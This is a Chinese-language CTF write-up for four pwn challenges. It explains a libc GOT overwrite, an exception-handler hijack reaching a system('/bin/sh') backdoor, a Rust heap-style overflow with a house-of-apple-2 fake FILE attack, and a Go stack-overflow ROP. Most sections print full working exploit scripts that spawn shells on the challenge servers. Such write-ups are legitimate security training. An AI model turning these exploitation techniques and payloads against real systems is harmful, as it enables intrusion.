新人报道,就简单分享下强网S8的pwn吧
baby_heap
比较简单的一题,有个libc任意地址写(不能写IO_FILE),于是修改libc的got,让printenv打印所有环境变量
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '101.200.33.255 34858'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')
cmd = '''
b *$rebase(0x1B01)
b *$rebase(0x1D46)
c
'''
input_after_this = b'Enter your choice: \n'
def add(size):
sla(input_after_this, b'1')
sla(b'size', str(size))
def dele(idx):
sla(input_after_this, b'2')
sla(b'which', str(idx))
def edit(idx, data):
sla(input_after_this, b'3')
sla(b'which', str(idx))
sla(b'content', data)
def show(idx):
sla(input_after_this, b'4')
sla(b'which', str(idx))
add(0x528)
add(0x5e8)
add(0x518)
dele(1)
add(0x5e8)
show(1)
ru(b'The content is here \n')
libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x21B110
heap_base = u64_ex(ru(b'\x55')[-6:]) - 0x1950
set_current_libc_base_and_log(libc_base)
log_heap_base_addr(heap_base)
got = libc_base + 0x21A118
sla(': ', '666')
s(p64_ex(got))
s(p64_ex(libc.sym.printf) * 2)
sla(': ', '5')
sl('2')
ia()
本来比赛时,想着改point_guard,劫持exit的,但远程环境似乎不太一样,本地倒是通了...
expect_number
这题也比较简单,比赛时混了个三血🥳
主函数逻辑比较清晰,程序会随机生成运算符号,然后与我们输入的数进行加减乘除
函数的漏洞点在于,保存的历史数据
会产生越界,而改写到别的数据。
恰好菜单选择中4,是通过调用保存的函数指针实现的
越界改写这个为有栈溢出的函数
这个函数当栈溢出时,就会throw出一个异常,而刚好,有一个函数的catch块存在着system("/bin/sh")的后门
于是修改返回地址为该函数try块地址+1,在抛出异常时即可被带有后门函数的catch块捕获到,从而get shell
函数的基址同样也可以通过越界写,然后利用show功能进行泄露
(打的时候发现远程的libc环境与本机完全一样🥰,爽!)
贴个exp
#!/usr/bin/env python3
from pwncli import *
from ctypes import *
context.terminal = ["tmux", "splitw", "-h", "-l", "160"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '47.94.195.201 30734'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./expect_number')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./expect_number')
rand = cdll.LoadLibrary('./libc.so.6')
cmd = '''
b *$rebase(0x2DC1)
b *$rebase(0x29E2)
b *$rebase(0x2B7A)
c
'''
def play(num):
sla(b'>> waiting for your choice', b'1')
sla(b'>> Which one do you choose? 2 or 1 or 0', str(num))
def show():
sla(b'>> waiting for your choice', b'2')
file = open("./payload", "r")
payload = file.read()
file.close()
rand.srand(1)
# operator_ = {1: "+", 2: "-", 3: "*", 4: "/"}
# randnum: list[int] = []
# rand_operate = ""
# for _ in range(0x1000):
# num = rand.rand() % 4 + 1
# randnum.append(num)
# rand_operate += operator_[num]
# with open("operate", "w") as f:
# f.write(rand_operate)
# print(rand_operate)
# print(randnum)
'''
/*-/-/*+--*/*//*+*++/+/-***///-***-/-+/*---/+-*+/*-*/++-**+---+/+-*---+/*-*/*+/*/++*++//*/++++/+***//***/--*-+++-+*---+/+-/--/-/-//+--*-*//++/+-//*++/+-+/*-*/-//+++-*-+*++*/+///-/++/-+//*-*/--/-*+//+-++//-**++*++---++/*/*/+-+*-/**-**+-//++/*+//*++*/*---**-
'''
# for i in range(len(payload) - 0x2):
# play(payload[i])
# for i in range(len(payload) - 0x2, len(payload)):
# play(payload[i])
for i in range(0x113):
play(payload[i])
play(payload[0x113])
show()
ru(b'1100011001000011')
code_base = u64_ex(ru(b'\x0a', drop=True)[-6:]) - 0x4C60
set_current_code_base_and_log(code_base)
launch_gdb(cmd)
sla(b'>> waiting for your choice', b'4')
payload = b'a' * 0x20 + p64_ex(code_base + 0x5680) + p64_ex(code_base + 0x2516)
s(payload)
ia()
chat-with-me
一打开IDA就是扑面而来的Rust味🤯
好在程序本身逻辑比较好理解
菜单堆题(真的是堆吗?)
Leak
通过fuzz可以发现,程序show会泄露出奇奇怪怪的东西
def recv_data():
ru(b'Content: ')
data = ru(b'\n').decode()
match = re.search(r'\[(.*?)\]', data)
content = match.group(1)
# 将提取的内容转换为列表
content_list = list(map(int, content.split(',')))
# print(content_list)
bytes_string = bytes(content_list)
print(bytes_string)
return bytes_string
让gpt搓个小脚本,把输出的数据转成bytes
从里面拿到有用的地址信息
(其实可以发现,他分配的“堆”都是栈上的,相同的地址)
Hack
在edit功能中,存在溢出
动调发现,程序在函数结尾会析构一个局部变量(就当它是string吧)
溢出可以修改v90的地址,以达到free的效果
在这,我选择free掉管理“堆”的堆(vec)
free后发现,堆管理的第一个(index=0)指向的是自身的上方
相当于可以改写自身,同时show也可以泄露出libc地址
这里我选择修改_IO_list_all,打house of apple 2
因为edit的长度比较短,简单风水一下,多次edit即可
需要注意的是,题目说远程环境有点小变化,需要自己搭个docker,修改一下偏移
exp:
#!/usr/bin/env python3
from pwncli import *
import re
context.terminal = ["tmux", "splitw", "-h", "-l", "150"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '47.94.231.2 20511'
# addr = '127.0.0.1 6666'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc('./libc.so.6')
gift.elf = ELF('./pwn')
cmd = '''
directory /mnt/f/Documents/CTF/glibc/glibc-2.39
b *$rebase(0x1A90F)
b *$rebase(0x1A022)
b *$rebase(0x1A2E4)
b *$rebase(0x1A4C4)
b *$rebase(0x1A968)
b *$rebase(0x1A3E4)
b _IO_wfile_overflow
c
'''
'''
b *$rebase(0x19D03)
'''
input_after_this = b'Choice >'
def add():
sla(input_after_this, b'1')
def dele(idx):
sla(input_after_this, b'4')
sla(b'Index', str(idx))
def edit(idx, data):
sla(input_after_this, b'3')
sla(b'Index', str(idx))
sla(b'Content', data)
return recv_data()
def show(idx):
sla(input_after_this, b'2')
sla(b'Index', str(idx))
return recv_data()
def recv_data():
ru(b'Content: ')
data = ru(b'\n').decode()
match = re.search(r'\[(.*?)\]', data)
content = match.group(1)
# 将提取的内容转换为列表
content_list = list(map(int, content.split(',')))
# print(content_list)
bytes_string = bytes(content_list)
print(bytes_string)
return bytes_string
add()
leak1 = show(0)
# log_ex(leak1[0x28:0x30])
heap_base = u64_ex(leak1[0x8:0x10]) - 0x2960 - 0x250
# heap_base = u64_ex(leak1[0x8:0x10]) - 0x2BB0
stack = u64_ex(leak1[leak1.find(b'\x7f') - 5 : leak1.find(b'\x7f') + 1]) - 0x178
code_base = u64_ex(leak1[0x28:0x30]) - 0x635B0
log_address_ex2(stack)
log_heap_base_addr(heap_base)
set_current_code_base_and_log(code_base)
for i in range(0x80):
add()
edit(0, b'a' * 0x20 + p64_ex(heap_base + 0x2BD0))
leak2 = show(1)
libc_base = u64_ex(leak2[leak2.find(b'\x7f') - 5 : leak2.find(b'\x7f') + 1]) - 0x203B30
set_current_libc_base_and_log(libc_base)
launch_gdb(cmd)
edit(
2, p64_ex(0) + p64_ex(0x21) + p64_ex(libc.sym._IO_list_all) + p64_ex(heap_base + 0x2F00) + p64_ex(heap_base + 0x2BF0) + p64_ex(heap_base + 0x2F00)
)
edit(0, p64_ex(heap_base + 0x2F00))
edit(2, p64_ex(heap_base + 0x2F50) + p64_ex(heap_base + 0x2FA0) + p64_ex(heap_base + 0x90 + 0x250) + p64_ex(heap_base + 0x2FF0))
fake_IO_FILE = heap_base + 0x2F00
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
payload1 = flat(
{
0x0: u64_ex(" sh"),
0x28: 0xB81,
0x118: fake_IO_FILE + 0x80 - 0x68,
0x80: libc.sym.system,
0x88: heap_base + 0x250,
0xA0: fake_IO_FILE + 0x118 - 0xE0,
0xD8: _IO_wfile_jumps,
},
filler=b'\x00',
)
log_ex(hex(len(payload1)))
edit(3, payload1[:0x4F])
edit(4, payload1[0x50:0x9F])
edit(5, payload1[0xA0:0xEF])
edit(7, payload1[0xF0:0x13F])
log_address_ex2(stack)
pause()
edit(6, p64_ex(0))
sla(input_after_this, b'5')
ia()
Qroute
一个使用go编写的程序,漏洞点出在解析ping ip的时候,程序没有判断两个.之间的字符串长度,因此发生了栈溢出
但是go的ROP较为困难,需要恢复栈上很多地址,才能使程序不报错
ROP实现orw即可